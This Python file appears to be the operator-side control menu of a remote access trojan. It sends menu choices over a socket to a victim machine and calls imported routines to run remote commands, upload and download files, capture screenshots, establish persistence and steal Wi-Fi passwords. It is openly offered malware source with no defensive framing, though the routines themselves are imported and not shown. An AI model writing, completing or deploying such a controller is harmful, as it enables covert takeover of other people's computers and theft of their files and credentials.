from core.command import run_command
from core.fileupload import upload_files
from core.file_folder_download import receive_file_folder
from core.screenshot import capture_screenshot
from core.persistent import become_persistent
from core.wifi import steal_wifi_pass

# had a error when used from core.*** to import stuff but gone when removed it


def show_options():
    print("\n")
    print("\t[ 01 ] Run Command on Victim Machine")
    print("\t[ 02 ] Upload File on Victim Machine")
    print("\t[ 03 ] Download File / Folder from Victim Machine")
    print("\t[ 04 ] Change Dir")
    print("\t[ 05 ] Capture Screenshot")
    print("\t[ 06 ] Become Persistent")
    print("\t[ 07 ] Steal WIFI Passwords")
    print("\t[ 99 ] Exit!")
    print("\n")


def handleConnection(my_socket):
    print("[+] handling Connection")

    while True:
        show_options()
        user_input = input("[+] Select your options: ")

        # sending the user input to the client as well
        my_socket.send_data(user_input)

        if user_input == "1":
            print("[+] Running commands on victim machine")
            # create a function that will handle command execution
            run_command(my_socket)

        elif user_input == "2":
            # upload files
            print("[+] Upload file")
            upload_files(my_socket)

        elif user_input == "3":
            receive_file_folder(my_socket)

        elif user_input == "4":
            my_socket.change_dir()

        elif user_input == "5":
            capture_screenshot(my_socket)

        elif user_input == "6":
            become_persistent(my_socket)

        elif user_input == "7":
            steal_wifi_pass(my_socket)

        elif user_input == "99":
            print("[+] Terminating program....")
            print("[+] May the Force with you!")
            break

        else:
            print("[+] Invalid Input meh!")
